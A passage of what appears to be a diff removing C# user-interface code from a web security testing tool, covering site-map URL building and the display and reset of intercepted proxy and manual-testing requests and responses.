5 && Node.Parent.Parent.Parent.Parent.Index == 0) - { - return true; - } - return false; - } - internal static bool IsSiteMapNodeSelected() - { - TreeNode Node = UI.IronTree.SelectedNode; - if (Node == null) return false; - if ((Node.Level > 5) || (Node.Level == 5 && (Node.Parent.Parent.Parent.Parent.Index == 4)) || (Node.Level == 4 && (Node.Parent.Parent.Parent.Index == 4)) || (Node.Level == 3 && (Node.Parent.Parent.Index == 4)) || (Node.Level == 2 && (Node.Parent.Index == 4))) - { - return true; - } - return false; - } - - internal static int GetFindingIdFromIronTree() - { - TreeNode Node = UI.IronTree.SelectedNode; - if (Node == null) return -1; - if (IsFindingsNodeSelected()) - { - try - { - return Int32.Parse(Node.Name); - } - catch { } - } - return -1; - } - - internal static Request GetSelectedUrlFromSiteMap() - { - TreeNode Node = UI.IronTree.SelectedNode; - if (Node == null) return null; - if (IsSiteMapNodeSelected()) - { - List UrlPaths = new List(); - string Query = ""; - TreeNode SiteMapNode = Node; - if (SiteMapNode.Text.StartsWith("?")) - { - Query = SiteMapNode.Text; - SiteMapNode = SiteMapNode.Parent; - } - while (SiteMapNode.Level > 2) - { - UrlPaths.Add(SiteMapNode.Text); - SiteMapNode = SiteMapNode.Parent; - } - UrlPaths.Reverse(); - StringBuilder UrlBuilder = new StringBuilder(); - foreach (string Path in UrlPaths) - { - UrlBuilder.Append("/"); UrlBuilder.Append(Path); - } - UrlBuilder.Append(Query); - string BaseUrl = SiteMapNode.Text; - //string Url = UrlBuilder.ToString() + Query; - string Url = UrlBuilder.ToString(); - if (Url == "//") Url = "/"; - if (Url.StartsWith("/")) - Url = Url.TrimStart(new char[]{'/'}); - try - { - return new Request(string.Format("{0}{1}", BaseUrl, Url)); - } - catch { } - //IronUI.UpdateResultsTab(Host, Url); - //return null; - } - - //if (e.Node == null) return; - //if ((e.Node.Level > 5) || (e.Node.Level == 5 && (e.Node.Parent.Parent.Parent.Parent.Index == 4)) || (e.Node.Level == 4 && (e.Node.Parent.Parent.Parent.Index == 4)) || (e.Node.Level == 3 && (e.Node.Parent.Parent.Index == 4)) || (e.Node.Level == 2 && (e.Node.Parent.Index == 4))) - //{ - // List UrlPaths = new List(); - // string Query = ""; - // TreeNode SiteMapNode = e.Node; - // if (SiteMapNode.Text.StartsWith("?")) - // { - // Query = SiteMapNode.Text; - // SiteMapNode = SiteMapNode.Parent; - // } - // while (SiteMapNode.Level > 2) - // { - // UrlPaths.Add(SiteMapNode.Text); - // SiteMapNode = SiteMapNode.Parent; - // } - // UrlPaths.Reverse(); - // StringBuilder UrlPathBuilder = new StringBuilder(); - // foreach (string Path in UrlPaths) - // { - // UrlPathBuilder.Append("/"); UrlPathBuilder.Append(Path); - // } - // string Host = SiteMapNode.Text; - // string Url = UrlPathBuilder.ToString() + Query; - // if (Url == "//") Url = "/"; - // IronUI.UpdateResultsTab(Host, Url); - // return; - //} - - //if (UI.IronTree.SelectedNode == null) return ""; - //TreeNode Node = UI.IronTree.SelectedNode; - //if ((Node.Level > 4) || (Node.Level == 4 && (Node.Parent.Parent.Parent.Index == 4)) || (Node.Level == 3 && (Node.Parent.Parent.Index == 4)) || (Node.Level == 2 && (Node.Parent.Index == 4))) - //{ - // List UrlPaths = new List(); - // string Query = ""; - // TreeNode SiteMapNode = Node; - // if (SiteMapNode.Text.StartsWith("?")) - // { - // Query = SiteMapNode.Text; - // SiteMapNode = SiteMapNode.Parent; - // } - // while (SiteMapNode.Level > 2) - // { - // UrlPaths.Add(SiteMapNode.Text); - // SiteMapNode = SiteMapNode.Parent; - // } - // UrlPaths.Reverse(); - // StringBuilder UrlPathBuilder = new StringBuilder(); - // foreach (string Path in UrlPaths) - // { - // UrlPathBuilder.Append("/"); UrlPathBuilder.Append(Path); - // } - // string BaseUrl = SiteMapNode.Text; - // string Url = UrlPathBuilder.ToString();// +Query; - // if (Url.StartsWith("/")) - // { - // Url.TrimStart(new char[]{'/'}); - // } - // return string.Format("{0}{1}", BaseUrl, Url); - //} - //return ""; - return null; - } - - delegate void SendSessionToProxy_d(Session IrSe); - internal static void SendSessionToProxy(Session IrSe) - { - if (UI.ProxyInterceptTabs.InvokeRequired) - { - SendSessionToProxy_d sstp_d = new SendSessionToProxy_d(SendSessionToProxy); - UI.Invoke(sstp_d, new object[] { IrSe }); - } - else - { - if (IronProxy.ManualTamperingFree) - { - FillInterceptorTab(IrSe); - if (!UI.main_tab.SelectedTab.Name.Equals("mt_proxy")) UI.main_tab.SelectTab("mt_proxy"); - MakeUiTopMost(true); - } - else - { - string ID = IrSe.ID.ToString(); - if (IrSe.FiddlerSession.state == Fiddler.SessionStates.HandTamperRequest) - { - ID = ID + "-Request"; - } - else - { - ID = ID + "-Response"; - } - lock (IronProxy.SessionsQ) - { - IronProxy.SessionsQ.Enqueue(ID); - } - } - } - } - internal static void FillInterceptorTab(Session IrSe) - { - IronProxy.ManualTamperingFree = false; - IronProxy.CurrentSession = IrSe; - ResetProxyInterceptionFields(); - - if (IrSe.FiddlerSession.state == Fiddler.SessionStates.HandTamperRequest) - { - UI.ProxyInterceptTabs.SelectedIndex = 0; - IronProxy.CurrentSession.OriginalRequest = IrSe.Request.GetClone(true); - FillProxyFields(IrSe.Request); - MakeProxyRequestFieldsReadOnly(false); - } - else - { - UI.ProxyInterceptTabs.SelectedIndex = 1; - IronProxy.CurrentSession.OriginalResponse = IrSe.Response.GetClone(true); - FillProxyFields(IrSe.Response, IrSe.Request); - FillProxyFields(IrSe.Request); - MakeProxyResponseFieldsReadOnly(false); - } - IronProxy.ResetChangedStatus(); - UI.ProxyBaseSplit.Panel1.BackColor = Color.SkyBlue; - UI.ProxySendBtn.Enabled = true; - UI.ProxyDropBtn.Enabled = true; - } - - internal static void FillProxyFields(Request Req) - { - UI.ProxyRequestView.SetRequest(Req); - //FillProxyRequestHeaderFields(Request); - //UI.ProxyRequestHeadersIDV.ReadOnly = false; - //UI.ProxyRequestBodyIDV.ReadOnly = false; - //if (Request.HasBody) - //{ - // FillProxyRequestBodyFields(Request); - //} - //FillProxyParametersFields(Request); - //UI.ProxyRequestParametersQueryGrid.Columns[1].ReadOnly = false; - //UI.ProxyRequestParametersBodyGrid.Columns[1].ReadOnly = false; - //UI.ProxyRequestParametersCookieGrid.Columns[1].ReadOnly = false; - //UI.ProxyRequestParametersHeadersGrid.Columns[1].ReadOnly = false; - } - - //internal static void FillProxyRequestHeaderFields(Request Request) - //{ - // UI.ProxyRequestHeadersIDV.Text = Request.GetHeadersAsStringWithoutFullURL(); - //} - - //internal static void FillProxyRequestBodyFields(Request Request) - //{ - // if (Request.IsBinary) - // { - // UI.ProxyRequestBodyIDV.Text = Encoding.UTF8.GetString(Request.BodyArray); - // UI.ProxyRequestBodyIDV.ReadOnly = true; - // } - // else - // { - // UI.ProxyRequestBodyIDV.Text = Request.BodyString; - // } - //} - - //internal static void FillProxyParametersFields(Request Request) - //{ - // UI.ProxyRequestParametersQueryGrid.Rows.Clear(); - // foreach (string Name in Request.Query.GetNames()) - // { - // foreach (string Value in Request.Query.GetAll(Name)) - // { - // UI.ProxyRequestParametersQueryGrid.Rows.Add(new object[] { Name, Value }); - // } - // } - // UI.ProxyRequestParametersBodyGrid.Rows.Clear(); - // foreach (string Name in Request.Body.GetNames()) - // { - // foreach (string Value in Request.Body.GetAll(Name)) - // { - // UI.ProxyRequestParametersBodyGrid.Rows.Add(new object[] { Name, Value }); - // } - // } - // UI.ProxyRequestParametersCookieGrid.Rows.Clear(); - // foreach (string Name in Request.Cookie.GetNames()) - // { - // foreach (string Value in Request.Cookie.GetAll(Name)) - // { - // UI.ProxyRequestParametersCookieGrid.Rows.Add(new object[] { Name, Value }); - // } - // } - // UI.ProxyRequestParametersHeadersGrid.Rows.Clear(); - // foreach (string Name in Request.Headers.GetNames()) - // { - // if (!Name.Equals("Host", StringComparison.OrdinalIgnoreCase) && !Name.Equals("Cookie", StringComparison.OrdinalIgnoreCase)) - // { - // foreach (string Value in Request.Headers.GetAll(Name)) - // { - // UI.ProxyRequestParametersHeadersGrid.Rows.Add(new object[] { Name, Value }); - // } - // } - // } - //} - - delegate void ShowProxyException_d(string Message); - internal static void ShowProxyException(string Message) - { - if (UI.ProxyExceptionTB.InvokeRequired) - { - ShowProxyException_d SPE_d = new ShowProxyException_d(ShowProxyException); - UI.Invoke(SPE_d, new object[] { Message }); - } - else - { - UI.ProxyExceptionTB.Text = Message; - UI.ProxyExceptionTB.Visible = true; - } - } - - internal static void ResetProxyException() - { - UI.ProxyExceptionTB.Text = ""; - UI.ProxyExceptionTB.Visible = false; - } - - //internal static void UpdateProxyHeaderFieldsWithUIQueryParameters() - //{ - // IronProxy.CurrentSession.Request.Query.RemoveAll(); - // foreach (DataGridViewRow Row in UI.ProxyRequestParametersQueryGrid.Rows) - // { - // IronProxy.CurrentSession.Request.Query.Add(Row.Cells[0].Value.ToString(), Row.Cells[1].Value.ToString()); - // } - // FillProxyRequestHeaderFields(IronProxy.CurrentSession.Request); - //} - //internal static void UpdateProxyBodyFieldsWithUIBodyParameters() - //{ - // IronProxy.CurrentSession.Request.Body.RemoveAll(); - // foreach (DataGridViewRow Row in UI.ProxyRequestParametersBodyGrid.Rows) - // { - // IronProxy.CurrentSession.Request.Body.Add(Row.Cells[0].Value.ToString(), Row.Cells[1].Value.ToString()); - // } - // FillProxyRequestBodyFields(IronProxy.CurrentSession.Request); - //} - //internal static void UpdateProxyHeaderFieldsWithUICookieParameters() - //{ - // IronProxy.CurrentSession.Request.Cookie.RemoveAll(); - // foreach (DataGridViewRow Row in UI.ProxyRequestParametersCookieGrid.Rows) - // { - // IronProxy.CurrentSession.Request.Cookie.Add(Row.Cells[0].Value.ToString(), Row.Cells[1].Value.ToString()); - // } - // FillProxyRequestHeaderFields(IronProxy.CurrentSession.Request); - //} - //internal static void UpdateProxyHeaderFieldsWithUIHeadersParameters() - //{ - // Parameters TempHolder = new Parameters(); - // if (IronProxy.CurrentSession.Request.Headers.Has("Host")) - // { - // TempHolder.Set("Host", IronProxy.CurrentSession.Request.Headers.Get("Host")); - // } - // if (IronProxy.CurrentSession.Request.Headers.Has("Cookie")) - // { - // TempHolder.Set("Cookie", IronProxy.CurrentSession.Request.Headers.Get("Cookie")); - // } - // IronProxy.CurrentSession.Request.Headers.RemoveAll(); - // foreach (DataGridViewRow Row in UI.ProxyRequestParametersHeadersGrid.Rows) - // { - // IronProxy.CurrentSession.Request.Headers.Add(Row.Cells[0].Value.ToString(), Row.Cells[1].Value.ToString()); - // } - // foreach (string Name in TempHolder.GetNames()) - // { - // IronProxy.CurrentSession.Request.Headers.Set(Name, TempHolder.Get(Name)); - // } - // FillProxyRequestHeaderFields(IronProxy.CurrentSession.Request); - //} - - //internal static void HandleAnyChangesInRequest() - //{ - // if (IronProxy.RequestHeaderChanged) - // { - // IronProxy.UpdateCurrentSessionWithNewRequestHeader(UI.ProxyRequestHeadersIDV.Text); - // IronUI.FillProxyParametersFields(IronProxy.CurrentSession.Request); - // IronProxy.ResetNonParameterChangedStatus(); - // IronProxy.ResetParametersChangedStatus(); - // } - // if (IronProxy.RequestBodyChanged) - // { - // IronProxy.UpdateCurrentSessionWithNewRequestBodyText(UI.ProxyRequestBodyIDV.Text); - // IronUI.FillProxyParametersFields(IronProxy.CurrentSession.Request); - // IronProxy.ResetNonParameterChangedStatus(); - // IronProxy.ResetParametersChangedStatus(); - // } - // if (IronProxy.RequestQueryParametersChanged) - // { - // UpdateProxyHeaderFieldsWithUIQueryParameters(); - // IronProxy.UpdateFiddlerSessionWithNewRequestHeader(); - // IronProxy.ResetNonParameterChangedStatus(); - // IronProxy.ResetParametersChangedStatus(); - // } - // if (IronProxy.RequestBodyParametersChanged) - // { - // UpdateProxyBodyFieldsWithUIBodyParameters(); - // IronProxy.UpdateFiddlerSessionWithNewRequestBody(); - // IronProxy.ResetNonParameterChangedStatus(); - // IronProxy.ResetParametersChangedStatus(); - // } - // if (IronProxy.RequestCookieParametersChanged) - // { - // UpdateProxyHeaderFieldsWithUICookieParameters(); - // IronProxy.UpdateFiddlerSessionWithNewRequestHeader(); - // IronProxy.ResetNonParameterChangedStatus(); - // IronProxy.ResetParametersChangedStatus(); - // } - // if (IronProxy.RequestHeaderParametersChanged) - // { - // UpdateProxyHeaderFieldsWithUIHeadersParameters(); - // IronProxy.UpdateFiddlerSessionWithNewRequestHeader(); - // IronProxy.ResetNonParameterChangedStatus(); - // IronProxy.ResetParametersChangedStatus(); - // } - //} - - internal static void FillProxyFields(Response Res, Request Req) - { - UI.ProxyResponseView.SetResponse(Res, Req); - //UI.ProxyResponseHeadersIDV.Text = Response.GetHeadersAsString(); - //UI.ProxyResponseHeadersIDV.ReadOnly = false; - //UI.ProxyResponseBodyIDV.ReadOnly = false; - //if (Response.HasBody) - //{ - // if (Response.IsBinary) - // { - // UI.ProxyResponseBodyIDV.Text = Encoding.UTF8.GetString(Response.BodyArray); - // UI.ProxyResponseBodyIDV.ReadOnly = true; - // } - // else - // { - // UI.ProxyResponseBodyIDV.Text = Response.BodyString; - // } - //} - } - - //internal static void HandleAnyChangesInResponse() - //{ - // if (IronProxy.ResponseHeaderChanged) - // { - // IronProxy.UpdateCurrentSessionWithNewResponseHeader(UI.ProxyResponseHeadersIDV.Text); - // IronProxy.ResetNonParameterChangedStatus(); - // IronProxy.ResetParametersChangedStatus(); - // } - // if (IronProxy.ResponseBodyChanged) - // { - // IronProxy.UpdateCurrentSessionWithNewResponseBodyText(UI.ProxyResponseBodyIDV.Text); - // IronProxy.ResetNonParameterChangedStatus(); - // IronProxy.ResetParametersChangedStatus(); - // } - //} - - //delegate void FillProxyRequestFormatXML_d(string XML); - //internal static void FillProxyRequestFormatXML(string XML) - //{ - // if (UI.ProxyRequestFormatXMLTB.InvokeRequired) - // { - // FillProxyRequestFormatXML_d FPRFX_d = new FillProxyRequestFormatXML_d(FillProxyRequestFormatXML); - // UI.Invoke(FPRFX_d, new object[] { XML }); - // } - // else - // { - // UI.ProxyRequestFormatXMLTB.Text = XML; - // UI.ProxyRequestFormatXMLTB.ReadOnly = false; - // } - //} - - //delegate void FillProxyRequestWithNewRequestFromFormatXML_d(Request Request, string PluginName); - //internal static void FillProxyRequestWithNewRequestFromFormatXML(Request Request, string PluginName) - //{ - // if (UI.ProxyRequestFormatXMLTB.InvokeRequired) - // { - // FillProxyRequestWithNewRequestFromFormatXML_d FPRWNRFFX_d = new FillProxyRequestWithNewRequestFromFormatXML_d(FillProxyRequestWithNewRequestFromFormatXML); - // UI.Invoke(FPRWNRFFX_d, new object[] { Request, PluginName }); - // } - // else - // { - // try - // { - // ResetProxyRequestDisplayFields(); - // FillProxyFields(Request); - // IronProxy.ResetChangedStatus(); - // IronProxy.RequestChanged = true;//only then the edited request will be updated in the logs - // } - // catch (Exception Exp) - // { - // IronException.Report("Error displaying Updated 'Proxy' Request from Serializing XML using Format Plugin - " + PluginName, Exp.Message, Exp.StackTrace); - // IronUI.ShowMTException("Error displaying updated Request"); - // } - // } - //} - - //delegate void FillProxyResponseFormatXML_d(string XML); - //internal static void FillProxyResponseFormatXML(string XML) - //{ - // if (UI.ProxyResponseFormatXMLTB.InvokeRequired) - // { - // FillProxyResponseFormatXML_d FPRFX_d = new FillProxyResponseFormatXML_d(FillProxyResponseFormatXML); - // UI.Invoke(FPRFX_d, new object[] { XML }); - // } - // else - // { - // UI.ProxyResponseFormatXMLTB.Text = XML; - // UI.ProxyResponseFormatXMLTB.ReadOnly = false; - // } - //} - - //delegate void FillProxyResponseWithNewResponseFromFormatXML_d(Response Response, string PluginName); - //internal static void FillProxyResponseWithNewResponseFromFormatXML(Response Response, string PluginName) - //{ - // if (UI.ProxyResponseFormatXMLTB.InvokeRequired) - // { - // FillProxyResponseWithNewResponseFromFormatXML_d FPRWNRFFX_d = new FillProxyResponseWithNewResponseFromFormatXML_d(FillProxyResponseWithNewResponseFromFormatXML); - // UI.Invoke(FPRWNRFFX_d, new object[] { Response, PluginName }); - // } - // else - // { - // try - // { - // ResetProxyResponseDisplayFields(); - // FillProxyFields(Response); - // IronProxy.ResetChangedStatus(); - // IronProxy.ResponseChanged = true;//only then the edited response will be updated in the logs - // } - // catch (Exception Exp) - // { - // IronException.Report("Error displaying Updated 'Proxy' Request from Serializing XML using Format Plugin - " + PluginName, Exp.Message, Exp.StackTrace); - // IronUI.ShowMTException("Error displaying updated Request"); - // } - // } - //} - - - internal static void ResetProxyInterceptionFields() - { - ResetProxyRequestDisplayFields(); - ResetProxyResponseDisplayFields(); - MakeProxyFieldsReadOnly(true); - ResetProxyException(); - } - - internal static void ResetProxyRequestDisplayFields() - { - //UI.ProxyRequestHeadersIDV.Text = ""; - //UI.ProxyRequestBodyIDV.Text = ""; - //UI.ProxyRequestParametersQueryGrid.Rows.Clear(); - //UI.ProxyRequestParametersBodyGrid.Rows.Clear(); - //UI.ProxyRequestParametersCookieGrid.Rows.Clear(); - //UI.ProxyRequestParametersHeadersGrid.Rows.Clear(); - UI.ProxyShowOriginalRequestCB.Checked = false; - //UI.ProxyRequestFormatXMLTB.Text = ""; - UI.ProxyRequestView.ClearRequest(); - } - - internal static void ResetProxyResponseDisplayFields() - { - UI.ProxyResponseView.ClearResponse(); - //UI.ProxyResponseHeadersIDV.Text = ""; - //UI.ProxyResponseBodyIDV.Text = ""; - UI.ProxyShowOriginalResponseCB.Checked = false; - //UI.ProxyResponseFormatXMLTB.Text = ""; - } - - internal static void MakeProxyFieldsReadOnly(bool ReadOnly) - { - MakeProxyRequestFieldsReadOnly(ReadOnly); - MakeProxyResponseFieldsReadOnly(ReadOnly); - } - - internal static void MakeProxyRequestFieldsReadOnly(bool ReadOnly) - { - UI.ProxyRequestView.SetReadOnly(ReadOnly); - //UI.ProxyRequestHeadersIDV.ReadOnly = true; - //UI.ProxyRequestBodyIDV.ReadOnly = true; - //UI.ProxyRequestParametersQueryGrid.Columns[1].ReadOnly = true; - //UI.ProxyRequestParametersBodyGrid.Columns[1].ReadOnly = true; - //UI.ProxyRequestParametersCookieGrid.Columns[1].ReadOnly = true; - //UI.ProxyRequestParametersHeadersGrid.Columns[1].ReadOnly = true; - //UI.ProxyRequestFormatXMLTB.ReadOnly = true; - } - internal static void MakeProxyResponseFieldsReadOnly(bool ReadOnly) - { - UI.ProxyResponseView.SetReadOnly(ReadOnly); - //UI.ProxyResponseHeadersIDV.ReadOnly = true; - //UI.ProxyResponseBodyIDV.ReadOnly = true; - //UI.ProxyResponseFormatXMLTB.ReadOnly = true; - } - - internal static void FillMTFields(Session IrSe) - { - IronUI.FillMTFields(IrSe.Request); - ManualTesting.SetCurrentID(IrSe.Request.ID); - if (IrSe.Response != null) IronUI.FillMTFields(IrSe.Response, IrSe.Request); - UI.TestIDLbl.Text = "ID: " + IrSe.Request.ID.ToString(); - string Group = IrSe.Flags["Group"].ToString(); - UI.MTCurrentGroupNameTB.Text = Group; - foreach (DataGridViewRow Row in UI.TestGroupLogGrid.Rows) - { - if (Row.Cells[1].Value.ToString().Equals(IrSe.Request.ID.ToString())) - { - Row.Selected = true; - try - { - UI.TestGroupLogGrid.FirstDisplayedScrollingRowIndex = Row.Index; - } - catch { } - break; - } - } - //switch (GroupColor) - //{ - // case("Red"): - // UI.TestIDLbl.BackColor = Color.Red; - // break; - // case ("Blue"): - // UI.TestIDLbl.BackColor = Color.RoyalBlue; - // break; - // case ("Green"): - // UI.TestIDLbl.BackColor = Color.Green; - // break; - // case ("Gray"): - // UI.TestIDLbl.BackColor = Color.Gray; - // break; - // case ("Brown"): - // UI.TestIDLbl.BackColor = Color.Brown; - // break; - //} - } - - internal static void FillMTFields(Request Request) - { - //FillMTRequestHeaderFields(Request); - //if (Request.HasBody) - //{ - // FillMTRequestBodyFields(Request); - //} - //FillMTParametersFields(Request); - //UI.MTRequestParametersQueryGrid.Columns[1].ReadOnly = false; - //UI.MTRequestParametersBodyGrid.Columns[1].ReadOnly = false; - //UI.MTRequestParametersCookieGrid.Columns[1].ReadOnly = false; - //UI.MTRequestParametersHeadersGrid.Columns[1].ReadOnly = false; - UI.TestRequestView.SetRequest(Request); - ManualTesting.ResetChangedStatus(); - ManualTesting.CurrentRequest = Request; - } - - //internal static void FillMTRequestHeaderFields(Request Request) - //{ - // UI.MTRequestHeadersIDV.Text = Request.GetHeadersAsStringWithoutFullURL(); - // UI.MTIsSSLCB.Checked = Request.SSL; - //} - - //internal static void FillMTRequestBodyFields(Request Request) - //{ - // if (Request.IsBinary) - // { - // UI.MTRequestBodyIDV.Text = Encoding.UTF8.GetString(Request.BodyArray); - // UI.MTRequestBodyIDV.ReadOnly = true; - // } - // else - // { - // UI.MTRequestBodyIDV.Text = Request.BodyString; - // } - //} - - //internal static void FillMTParametersFields(Request Request) - //{ - // UI.MTRequestParametersQueryGrid.Rows.Clear(); - // foreach (string Name in Request.Query.GetNames()) - // { - // foreach (string Value in Request.Query.GetAll(Name)) - // { - // UI.MTRequestParametersQueryGrid.Rows.Add(new object[] { Name, Value }); - // } - // } - // UI.MTRequestParametersBodyGrid.Rows.Clear(); - // foreach (string Name in Request.Body.GetNames()) - // { - // foreach (string Value in Request.Body.GetAll(Name)) - // { - // UI.MTRequestParametersBodyGrid.Rows.Add(new object[] { Name, Value }); - // } - // } - // UI.MTRequestParametersCookieGrid.Rows.Clear(); - // foreach (string Name in Request.Cookie.GetNames()) - // { - // foreach (string Value in Request.Cookie.GetAll(Name)) - // { - // UI.MTRequestParametersCookieGrid.Rows.Add(new object[] { Name, Value }); - // } - // } - // UI.MTRequestParametersHeadersGrid.Rows.Clear(); - // foreach (string Name in Request.Headers.GetNames()) - // { - // if (!Name.Equals("Host", StringComparison.OrdinalIgnoreCase) && !Name.Equals("Cookie", StringComparison.OrdinalIgnoreCase)) - // { - // foreach (string Value in Request.Headers.GetAll(Name)) - // { - // UI.MTRequestParametersHeadersGrid.Rows.Add(new object[] { Name, Value }); - // } - // } - // } - //} - - //internal static void UpdateMTHeaderFieldsWithUIQueryParameters() - //{ - // if (ManualTesting.CurrentRequest == null) return; - // ManualTesting.CurrentRequest.Query.RemoveAll(); - // foreach (DataGridViewRow Row in UI.MTRequestParametersQueryGrid.Rows) - // { - // ManualTesting.CurrentRequest.Query.Add(Row.Cells[0].Value.ToString(), Row.Cells[1].Value.ToString()); - // } - // FillMTRequestHeaderFields(ManualTesting.CurrentRequest); - //} - //internal static void UpdateMTBodyFieldsWithUIBodyParameters() - //{ - // if (ManualTesting.CurrentRequest == null) return; - // ManualTesting.CurrentRequest.Body.RemoveAll(); - // foreach (DataGridViewRow Row in UI.MTRequestParametersBodyGrid.Rows) - // { - // ManualTesting.CurrentRequest.Body.Add(Row.Cells[0].Value.ToString(), Row.Cells[1].Value.ToString()); - // } - // FillMTRequestBodyFields(ManualTesting.CurrentRequest); - //} - //internal static void UpdateMTHeaderFieldsWithUICookieParameters() - //{ - // if (ManualTesting.CurrentRequest == null) return; - // ManualTesting.CurrentRequest.Cookie.RemoveAll(); - // foreach (DataGridViewRow Row in UI.MTRequestParametersCookieGrid.Rows) - // { - // ManualTesting.CurrentRequest.Cookie.Add(Row.Cells[0].Value.ToString(), Row.Cells[1].Value.ToString()); - // } - // FillMTRequestHeaderFields(ManualTesting.CurrentRequest); - //} - //internal static void UpdateMTHeaderFieldsWithUIHeadersParameters() - //{ - // if (ManualTesting.CurrentRequest == null) return; - // Parameters TempHolder = new Parameters(); - // if (ManualTesting.CurrentRequest.Headers.Has("Host")) - // { - // TempHolder.Set("Host", ManualTesting.CurrentRequest.Headers.Get("Host")); - // } - // if (ManualTesting.CurrentRequest.Headers.Has("Cookie")) - // { - // TempHolder.Set("Cookie", ManualTesting.CurrentRequest.Headers.Get("Cookie")); - // } - // ManualTesting.CurrentRequest.Headers.RemoveAll(); - // foreach (DataGridViewRow Row in UI.MTRequestParametersHeadersGrid.Rows) - // { - // ManualTesting.CurrentRequest.Headers.Add(Row.Cells[0].Value.ToString(), Row.Cells[1].Value.ToString()); - // } - // foreach (string Name in TempHolder.GetNames()) - // { - // ManualTesting.CurrentRequest.Headers.Set(Name, TempHolder.Get(Name)); - // } - // FillMTRequestHeaderFields(ManualTesting.CurrentRequest); - //} - - //internal static void HandleAnyChangesInMTRequest() - //{ - // if (ManualTesting.RequestHeaderChanged) - // { - // ManualTesting.UpdateCurrentRequestWithNewHeader(UI.MTRequestHeadersIDV.Text); - // if (ManualTesting.CurrentRequest == null) return; - // IronUI.FillMTParametersFields(ManualTesting.CurrentRequest); - // if (ManualTesting.RequestBodyChanged) - // { - // ManualTesting.RequestHeaderChanged = false; - // } - // else - // { - // ManualTesting.ResetNonParameterChangedStatus(); - // } - // ManualTesting.ResetParametersChangedStatus(); - // } - // if (ManualTesting.RequestBodyChanged) - // { - // ManualTesting.UpdateCurrentRequestWithNewBodyText(UI.MTRequestBodyIDV.Text); - // if (ManualTesting.CurrentRequest == null) return; - // IronUI.FillMTParametersFields(ManualTesting.CurrentRequest); - // ManualTesting.ResetNonParameterChangedStatus(); - // ManualTesting.ResetParametersChangedStatus(); - // } - // if (ManualTesting.CurrentRequest == null) return; - // if (ManualTesting.RequestQueryParametersChanged) - // { - // UpdateMTHeaderFieldsWithUIQueryParameters(); - // ManualTesting.ResetNonParameterChangedStatus(); - // ManualTesting.ResetParametersChangedStatus(); - // } - // if (ManualTesting.RequestBodyParametersChanged) - // { - // UpdateMTBodyFieldsWithUIBodyParameters(); - // ManualTesting.ResetNonParameterChangedStatus(); - // ManualTesting.ResetParametersChangedStatus(); - // } - // if (ManualTesting.RequestCookieParametersChanged) - // { - // UpdateMTHeaderFieldsWithUICookieParameters(); - // ManualTesting.ResetNonParameterChangedStatus(); - // ManualTesting.ResetParametersChangedStatus(); - // } - // if (ManualTesting.RequestHeaderParametersChanged) - // { - // UpdateMTHeaderFieldsWithUIHeadersParameters(); - // ManualTesting.ResetNonParameterChangedStatus(); - // ManualTesting.ResetParametersChangedStatus(); - // } - //} - - internal static void FillMTFields(Response Res, Request Req) - { - //UI.MTResponseHeadersIDV.Text = Response.GetHeadersAsString(); - //if (Response.HasBody) - //{ - // if (Response.IsBinary) - // { - // UI.MTResponseBodyIDV.Text = Encoding.UTF8.GetString(Response.BodyArray); - // UI.MTResponseBodyIDV.ReadOnly = true; - // } - // else - // { - // UI.MTResponseBodyIDV.Text = Response.BodyString; - // } - //} - UI.TestResponseView.SetResponse(Res, Req); - try - { - Request RedirectRequest = ManualTesting.GetRedirectRequestOnly(); - if (RedirectRequest == null) - { - UI.MTFollowRedirectBtn.Visible = false; - UI.MTGetRedirectBtn.Visible = false; - } - else - { - UI.MTFollowRedirectBtn.Visible = true; - UI.MTGetRedirectBtn.Visible = true; - } - } - catch { } - if (Res.SetCookies.Count > 0) - { - UI.TestUpdateCookieStoreLL.Visible = true; - } - else - { - UI.TestUpdateCookieStoreLL.Visible = false; - } - } - - - internal static void ResetMTDisplayFields() - { - ResetMTRequestDisplayFields(); - ResetMTResponseDisplayFields(); - ResetMTExceptionFields(); - } - - internal static void ResetMTRequestDisplayFields() - { - UI.TestRequestView.ClearRequest(); - // UI.MTRequestHeadersIDV.Text = ""; - // UI.MTRequestBodyIDV.Text = ""; - // UI.MTRequestParametersQueryGrid.Rows.Clear(); - // UI.MTRequestParametersBodyGrid.Rows.Clear(); - // UI.MTRequestParametersCookieGrid.Rows.Clear(); - // UI.MTRequestParametersHeadersGrid.Rows.Clear(); - // UI.MTRequestHeadersIDV.ReadOnly = false; - // UI.MTRequestBodyIDV.ReadOnly = false; - // UI.MTRequestFormatXMLTB.Text = ""; - // UI.MTRequestFormatXMLTB.ReadOnly = true; - } - - internal static void ResetMTResponseDisplayFields() - { - //UI.MTResponseHeadersIDV.Text = ""; - //UI.MTResponseBodyIDV.Text = ""; - //FillTestReflection(""); - UI.TestResponseView.ClearResponse(); - UI.MTFollowRedirectBtn.Visible = false; - UI.MTGetRedirectBtn.Visible = false; - } - - internal static void ResetMTExceptionFields() - { - UI.MTExceptionTB.Text = ""; - UI.MTExceptionTB.Visible = false; - } - - internal static void ResetScriptedSendScriptExceptionFields() - { - UI.CustomSendErrorTB.Text = ""; - UI.CustomSendErrorTB.Visible = false; - UI.CustomSendActivateCB.Checked = false; - } - - internal static void ResetScriptedInterceptionScriptExceptionFields() - { - UI.ScriptedInterceptionErrorTB.Text = ""; - UI.ScriptedInterceptionErrorTB.Visible = false; - UI.ScriptedInterceptionActivateScriptCB.Checked = false; - } - - //delegate void FillMTRequestFormatXML_d(string XML); - //internal static void FillMTRequestFormatXML(string XML) - //{ - // if (UI.MTRequestFormatXMLTB.InvokeRequired) - // { - // FillMTRequestFormatXML_d FMTRFX_d = new FillMTRequestFormatXML_d(FillMTRequestFormatXML); - // UI.Invoke(FMTRFX_d, new object[] { XML }); - // } - // else - // { - // UI.MTRequestFormatXMLTB.Text = XML; - // UI.MTRequestFormatXMLTB.ReadOnly = false; - // } - //} - - //delegate void FillMTRequestWithNewRequestFromFormatXML_d(Request Request, string PluginName); - //internal static void FillMTRequestWithNewRequestFromFormatXML(Request Request, string PluginName) - //{ - // if (UI.MTRequestFormatXMLTB.InvokeRequired) - // { - // FillMTRequestWithNewRequestFromFormatXML_d FMTRWNRFFX_d = new FillMTRequestWithNewRequestFromFormatXML_d(FillMTRequestWithNewRequestFromFormatXML); - // UI.Invoke(FMTRWNRFFX_d, new object[] { Request, PluginName }); - // } - // else - // { - // try - // { - // ResetMTRequestDisplayFields(); - // FillMTFields(Request); - // } - // catch(Exception Exp) - // { - // IronException.Report("Error displaying Updated 'Manual Testing' Request from Serializing XML using Format Plugin - " + PluginName, Exp.Message, Exp.StackTrace); - // IronUI.ShowMTException("Error displaying updated Request"); - // } - // } - //} - - delegate void ShowMTException_d(string 